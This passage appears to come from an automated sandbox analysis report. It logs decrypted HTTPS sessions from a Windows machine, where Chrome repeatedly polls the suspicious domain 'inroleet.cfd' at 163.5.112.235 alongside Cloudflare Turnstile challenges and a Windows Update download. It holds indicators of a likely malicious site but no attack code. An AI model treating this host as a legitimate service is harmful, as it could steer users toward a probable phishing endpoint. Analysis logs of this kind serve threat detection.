2024-05-07 14:12:25 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/169092501:1715087394:BARsn763lEtPIs7yuOhseVgGcpRzXErFIt9Om1KqmSI/8801cdc8cadc8c54/eecdc0808b453da HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:25 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Tue, 07 May 2024 14:12:25 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: V0R35oXZjjWkb0JBEZ52pA==$jNTRYNArUM+JYuFqcYzFMw== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8801ce098fddc331-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:25 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49740	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:26 UTC	350	OUT	GET /dashboard/wlqo HTTP/1.1 Host: inroleet.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:28 UTC	241	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:26 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Content-Length: 20 Connection: close Content-Type: application/json
2024-05-07 14:12:28 UTC	20	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d Data Ascii: {"status":"success"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49739	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5hLsy2v82oG33kA&MD=TUWNxOpB HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-07 14:12:26 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 4854b62a-a960-4acd-bfc4-32c76f4a4893 MS-RequestId: d5d7f145-0ddc-4ddd-82f6-d42ee59a968f MS-CV: vQ+8IUL9DkuO+R60.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 07 May 2024 14:12:26 GMT Connection: close Content-Length: 24490
2024-05-07 14:12:26 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-05-07 14:12:26 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49744	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:26 UTC	500	OUT	GET /dashboard/wlqo HTTP/1.1 Host: inroleet.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:29 UTC	241	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:27 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Content-Length: 20 Connection: close Content-Type: application/json
2024-05-07 14:12:29 UTC	20	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d Data Ascii: {"status":"success"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49746	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:29 UTC	350	OUT	GET /dashboard/wlqo HTTP/1.1 Host: inroleet.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:31 UTC	241	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:29 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Content-Length: 20 Connection: close Content-Type: application/json
2024-05-07 14:12:31 UTC	20	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d Data Ascii: {"status":"success"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49747	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:30 UTC	500	OUT	GET /dashboard/wlqo HTTP/1.1 Host: inroleet.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:32 UTC	241	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:30 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Content-Length: 20 Connection: close Content-Type: application/json
2024-05-07 14:12:32 UTC	20	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d Data Ascii: {"status":"success"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49748	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:33 UTC	350	OUT	GET /dashboard/wlqo HTTP/1.1 Host: inroleet.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:35 UTC	241	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:33 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Content-Length: 20 Connection: close Content-Type: application/json
2024-05-07 14:12:35 UTC	20	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d Data Ascii: {"status":"success"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49749	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:34 UTC	500	OUT	GET /dashboard/wlqo HTTP/1.1 Host: inroleet.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:36 UTC	241	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:34 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Content-Length: 20 Connection: close Content-Type: application/json
2024-05-07 14:12:36 UTC	20	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d Data Ascii: {"status":"success"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49750	104.17.3.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:37 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/169092501:1715087394:BARsn763lEtPIs7yuOhseVgGcpRzXErFIt9Om1KqmSI/8801cdc8cadc8c54/eecdc0808b453da HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34366 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: eecdc0808b453da sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:37 UTC	16384	OUT	Data Raw: 76 5f 38 38 30 31 63 64 63 38 63 61 64 63 38 63 35 34 3d 6b 54 41 48 52 6c 79 4b 5a 79 54 41 5a 6c 38 4d 6a 79 30 75 52 48 70 47 47 75 50 48 79 24 75 33 75 52 75 6a 37 58 69 79 6b 58 75 6b 37 79 4b 75 50 75 4c 4e 75 79 5a 37 75 6d 75 50 24 50 71 75 53 6c 6a 6c 75 6c 44 75 33 24 4d 34 56 69 75 69 51 75 73 48 58 36 75 37 48 4d 70 51 36 48 62 54 79 45 75 76 41 75 56 75 58 41 79 68 62 75 76 74 75 2d 75 75 54 68 75 6c 24 73 47 75 51 51 42 48 74 68 75 73 37 4d 32 75 2d 37 70 64 37 66 62 75 50 55 37 4f 4e 69 75 34 24 46 42 62 55 36 63 69 73 6c 64 75 6c 4b 75 31 53 36 41 49 73 52 54 48 75 36 64 62 37 55 56 39 36 36 6d 30 52 47 75 44 55 43 34 58 69 36 38 75 69 71 6b 69 64 24 43 75 4d 6b 65 51 64 69 38 6f 48 2d 47 55 5a 5a 62 65 63 69 62 79 49 42 39 4a 71 62 64 33 Data Ascii: v_8801cdc8cadc8c54=kTAHRlyKZyTAZl8Mjy0uRHpGGuPHy$u3uRuj7XiykXuk7yKuPuLNuyZ7umuP$PquSljlulDu3$M4ViuiQusHX6u7HMpQ6HbTyEuvAuVuXAyhbuvtu-uuThul$sGuQQBHthus7M2u-7pd7fbuPU7ONiu4$FBbU6cisldulKu1S6AIsRTHu6db7UV966m0RGuDUC4Xi68uiqkid$CuMkeQdi8oH-GUZZbecibyIB9Jqbd3
2024-05-07 14:12:37 UTC	16384	OUT	Data Raw: 69 41 48 41 4a 61 67 35 6f 75 35 75 37 75 38 75 70 75 34 48 4d 52 6c 54 79 52 75 6a 75 53 36 6c 55 75 56 37 34 75 6c 34 79 4f 75 39 33 50 74 75 32 4f 58 48 58 54 79 51 75 70 42 6c 36 75 4d 75 4d 75 76 71 79 33 75 57 75 79 48 75 56 37 34 37 6c 32 36 69 75 62 41 58 36 79 77 75 30 75 4d 41 75 6b 75 30 68 79 41 75 54 75 31 41 4d 41 75 6a 75 44 5a 4d 55 75 6c 75 71 47 47 37 79 68 75 6b 75 6c 6a 75 56 75 4f 48 4d 4b 79 4f 24 53 36 6c 69 75 56 37 71 49 6c 6f 79 52 75 6b 24 69 74 79 50 75 75 75 79 66 6f 48 31 41 69 76 75 36 75 33 35 48 37 75 44 75 44 64 58 71 75 74 75 30 68 50 5a 79 46 75 30 37 58 55 75 52 24 62 55 4d 75 79 36 41 42 24 76 51 75 58 75 73 24 6c 50 5a 37 48 2d 37 79 4b 75 55 75 41 38 79 75 75 57 75 58 37 79 41 75 47 48 4d 24 50 66 4e 61 24 44 6c 48 Data Ascii: iAHAJag5ou5u7u8upu4HMRlTyRujuS6lUuV74ul4yOu93Ptu2OXHXTyQupBl6uMuMuvqy3uWuyHuV747l26iubAX6ywu0uMAuku0hyAuTu1AMAujuDZMUuluqGG7yhukuljuVuOHMKyO$S6liuV7qIloyRuk$ityPuuuyfoH1Aivu6u35H7uDuDdXqutu0hPZyFu07XUuR$bUMuy6AB$vQuXus$lPZ7H-7yKuUuA8yuuWuX7yAuGHM$PfNa$DlH
2024-05-07 14:12:37 UTC	1598	OUT	Data Raw: 71 72 68 5a 6a 45 32 63 70 2d 30 72 74 71 47 77 67 56 6a 4d 72 76 67 49 75 49 75 57 62 4a 52 2d 79 71 38 24 75 24 79 61 75 58 37 69 42 4d 57 48 79 38 49 6f 79 4a 33 59 30 71 61 6a 30 32 47 65 50 58 52 7a 56 59 76 52 62 4e 47 63 59 62 6b 54 75 4e 24 34 74 75 51 39 72 44 6b 75 58 71 79 77 47 32 37 75 41 79 45 50 69 76 4d 79 6a 71 34 24 32 58 51 6a 4d 75 71 37 4d 41 79 4f 75 33 45 47 4f 50 38 74 30 48 4d 55 42 67 75 59 72 5a 38 79 24 48 74 75 49 32 6d 31 4b 56 24 35 38 6c 4e 42 4f 48 50 5a 79 37 6a 72 37 79 52 72 32 59 70 68 63 69 79 68 69 7a 48 75 71 79 75 6b 32 4d 2d 36 75 53 73 61 4f 6a 69 79 6e 69 38 59 63 53 72 30 4f 53 79 45 59 75 6a 75 44 6d 41 71 45 4e 62 50 6d 41 67 79 6e 69 55 59 70 55 75 77 75 62 41 38 51 2d 4d 48 31 6d 49 58 4d 46 69 59 52 41 24 Data Ascii: qrhZjE2cp-0rtqGwgVjMrvgIuIuWbJR-yq8$u$yauX7iBMWHy8IoyJ3Y0qaj02GePXRzVYvRbNGcYbkTuN$4tuQ9rDkuXqywG27uAyEPivMyjq4$2XQjMuq7MAyOu3EGOP8t0HMUBguYrZ8y$HtuI2m1KV$58lNBOHPZy7jr7yRr2YphciyhizHuqyuk2M-6uSsaOjiyni8YcSr0OSyEYujuDmAqENbPmAgyniUYpUuwubA8Q-MH1mIXMFiYRA$
2024-05-07 14:12:37 UTC	478	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out: JwGJv9+wRDKfxu0/VOg+pzFuzAMc6nNJYi7946tETMDYry6o90Jvcxn/H+qz6ohqHolZJGC+iGCDEG11VqWKHOyPrB69VRYtySssAp6Y920Y/0xPVTlxT6acQ1jhCZ9J$NTaitDDPYqN0JjuEE8ytxQ== cf-chl-out-s: Cu1jBgiFHQMC0ojx5Heoxw==$Kpsv9jYCnNYbGoOPvaJpSA== vary: accept-encoding Server: cloudflare CF-RAY: 8801ce5398060f8d-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:37 UTC	294	IN	Data Raw: 31 31 66 0d 0a 6c 4a 32 6c 68 36 6d 42 70 37 32 49 75 37 32 37 6b 70 79 6e 6a 72 36 31 6b 74 43 4d 73 64 6d 55 6e 4a 47 38 71 64 50 68 75 4d 54 67 75 4e 79 79 31 39 53 33 74 39 62 67 78 75 44 73 75 39 54 31 79 66 58 59 2b 64 44 57 32 4d 76 54 37 38 7a 73 41 38 7a 30 32 50 72 66 34 4f 50 58 43 2b 54 72 31 78 48 67 38 4d 30 4f 43 50 62 74 45 2f 62 4c 47 52 62 32 30 2f 4c 72 38 2f 77 69 32 2b 33 78 41 68 76 31 38 51 49 6c 4a 66 76 36 43 50 34 4d 49 41 54 74 4d 53 63 49 45 76 67 71 4d 6a 30 54 4b 77 76 2b 4b 30 4d 33 50 77 55 6c 46 54 51 32 4a 44 38 38 4c 69 6c 43 4b 69 42 4e 53 79 6b 6e 49 6b 35 4e 54 31 56 53 50 44 41 36 48 68 6f 39 4e 46 46 42 57 6d 42 67 57 7a 6f 38 4e 30 56 6c 57 53 70 78 63 31 38 75 5a 56 52 55 4e 57 78 44 62 6c 63 39 4e 48 2b 42 4f 57 Data Ascii: 11flJ2lh6mBp72Iu727kpynjr61ktCMsdmUnJG8qdPhuMTguNyy19S3t9bgxuDsu9T1yfXY+dDW2MvT78zsA8z02Prf4OPXC+Tr1xHg8M0OCPbtE/bLGRb20/Lr8/wi2+3xAhv18QIlJfv6CP4MIATtMScIEvgqMj0TKwv+K0M3PwUlFTQ2JD88LilCKiBNSyknIk5NT1VSPDA6Hho9NFFBWmBgWzo8N0VlWSpxc18uZVRUNWxDblc9NH+BOW
2024-05-07 14:12:37 UTC	1369	IN	Data Raw: 62 65 64 0d 0a 4b 57 33 35 5a 6d 71 4e 57 6b 6d 42 6b 6f 58 4f 72 6b 36 71 59 66 36 75 47 65 6f 32 4f 66 49 65 6f 6f 4a 6d 6b 69 6e 4f 4f 6c 6e 6c 37 66 49 36 72 6a 37 6d 68 76 4c 69 39 6c 61 6d 34 79 49 53 37 70 71 57 73 6d 71 79 79 74 73 61 78 7a 64 4f 76 71 64 69 33 72 74 37 52 79 39 6e 4d 72 72 50 46 30 37 76 42 31 63 62 68 37 4e 75 76 6f 73 4b 71 30 39 4c 47 35 64 4b 78 35 37 54 52 32 74 6e 50 32 4c 37 70 34 63 7a 43 41 39 44 69 33 66 48 47 43 2b 6b 43 78 2b 37 4a 41 39 4c 68 39 50 59 4d 7a 64 49 51 44 66 73 53 48 39 33 57 49 74 4d 45 2f 42 41 66 48 2f 66 36 48 2b 67 41 41 42 30 74 4c 41 49 6b 4c 4f 6f 4b 42 43 6f 6d 4b 42 45 59 4e 68 63 49 47 67 30 38 4f 79 51 51 4a 44 59 6c 4d 44 6f 6b 46 53 73 35 46 77 73 61 53 77 77 6b 4d 69 74 53 51 7a 68 4e 4b Data Ascii: bedKW35ZmqNWkmBkoXOrk6qYf6uGeo2OfIeooJmkinOOlnl7fI6rj7mhvLi9lam4yIS7pqWsmqyytsaxzdOvqdi3rt7Ry9nMrrPF07vB1cbh7NuvosKq09LG5dKx57TR2tnP2L7p4czCA9Di3fHGC+kCx+7JA9Lh9PYMzdIQDfsSH93WItME/BAfH/f6H+gAAB0tLAIkLOoKBComKBEYNhcIGg08OyQQJDYlMDokFSs5FwsaSwwkMitSQzhNK
2024-05-07 14:12:37 UTC	1369	IN	Data Raw: 37 69 32 74 30 6f 35 64 6e 6b 49 4e 6b 65 71 32 49 5a 6d 71 59 73 6e 36 6c 70 37 4e 2f 66 36 32 42 73 5a 75 33 6c 70 57 35 6e 58 32 75 65 72 79 54 77 4a 2b 45 71 4a 61 44 79 36 66 4a 72 63 61 64 70 72 53 66 6e 35 58 4e 77 4b 7a 48 6b 5a 71 30 73 4b 79 77 34 75 47 79 7a 4d 36 32 6e 64 37 45 34 2b 6d 6a 6e 2b 7a 45 79 38 4c 52 71 62 43 2b 39 64 2f 51 39 38 54 55 7a 4c 6a 79 73 64 37 66 75 4d 2b 2b 42 38 55 48 2b 62 76 72 35 77 67 48 42 39 2f 2b 35 76 76 68 46 41 77 58 7a 67 62 54 32 64 48 33 38 75 66 6f 32 42 63 51 39 69 4d 6b 48 42 49 54 39 2f 6e 34 42 67 6b 64 4b 52 38 6a 45 79 6f 32 4d 43 4d 75 4d 52 67 45 4b 77 37 35 39 41 41 30 45 6a 67 4f 4e 30 64 42 52 42 4d 46 51 6a 55 58 48 43 34 38 4a 43 6f 2b 4c 30 70 56 52 42 67 4c 49 30 67 32 46 44 4d 76 4d 31 Data Ascii: 7i2t0o5dnkINkeq2IZmqYsn6lp7N/f62BsZu3lpW5nX2ueryTwJ+EqJaDy6fJrcadprSfn5XNwKzHkZq0sKyw4uGyzM62nd7E4+mjn+zEy8LRqbC+9d/Q98TUzLjysd7fuM++B8UH+bvr5wgHB9/+5vvhFAwXzgbT2dH38ufo2BcQ9iMkHBIT9/n4BgkdKR8jEyo2MCMuMRgEKw759AA0EjgON0dBRBMFQjUXHC48JCo+L0pVRBgLI0g2FDMvM1
2024-05-07 14:12:37 UTC	322	IN	Data Raw: 6f 47 61 6d 5a 6f 47 75 6d 61 6d 63 6d 71 5a 74 69 57 75 72 73 62 4f 35 75 62 53 6f 68 37 39 35 66 58 75 7a 66 37 32 55 73 59 47 7a 67 37 71 46 69 71 53 36 69 61 57 4c 76 6f 32 71 70 39 65 53 72 64 48 5a 6d 64 43 36 76 71 2b 7a 33 63 79 31 72 72 6e 54 72 39 6a 57 78 4f 4c 63 33 39 2b 71 33 4d 44 70 73 4d 66 74 72 76 50 30 78 37 66 33 7a 39 75 37 75 75 6e 36 39 4c 2f 75 42 51 54 64 78 63 6a 45 35 77 50 6f 36 2f 37 2b 7a 4e 38 54 36 64 2f 6c 31 64 55 4e 2b 66 45 4f 45 64 58 6f 38 64 4d 55 47 52 59 63 35 50 4d 61 2b 42 62 6c 41 75 63 4b 4a 68 6f 46 37 67 76 78 2f 75 7a 75 4c 52 51 4f 4c 52 59 48 4b 6a 6f 75 2f 67 30 7a 44 68 49 76 46 54 6f 65 46 52 70 4e 44 53 45 59 51 45 77 62 48 6c 5a 51 4d 77 35 48 47 53 4d 53 4a 6a 49 39 47 43 73 34 54 78 31 64 48 45 56 Data Ascii: oGamZoGumamcmqZtiWursbO5ubSoh795fXuzf72UsYGzg7qFiqS6iaWLvo2qp9eSrdHZmdC6vq+z3cy1rrnTr9jWxOLc39+q3MDpsMftrvP0x7f3z9u7uun69L/uBQTdxcjE5wPo6/7+zN8T6d/l1dUN+fEOEdXo8dMUGRYc5PMa+BblAucKJhoF7gvx/uzuLRQOLRYHKjou/g0zDhIvFToeFRpNDSEYQEwbHlZQMw5HGSMSJjI9GCs4Tx1dHEV
2024-05-07 14:12:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49751	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:37 UTC	350	OUT	GET /dashboard/wlqo HTTP/1.1 Host: inroleet.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:39 UTC	241	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:37 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Content-Length: 20 Connection: close Content-Type: application/json
2024-05-07 14:12:39 UTC	20	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d Data Ascii: {"status":"success"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49752	104.17.2.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:37 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/169092501:1715087394:BARsn763lEtPIs7yuOhseVgGcpRzXErFIt9Om1KqmSI/8801cdc8cadc8c54/eecdc0808b453da HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:37 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Tue, 07 May 2024 14:12:37 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: i9g4h+tJSXK2UmXcBATokw==$qUIRuX4j3OrD5Z2BJ3cs/w== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8801ce57895f41e9-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:37 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49753	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
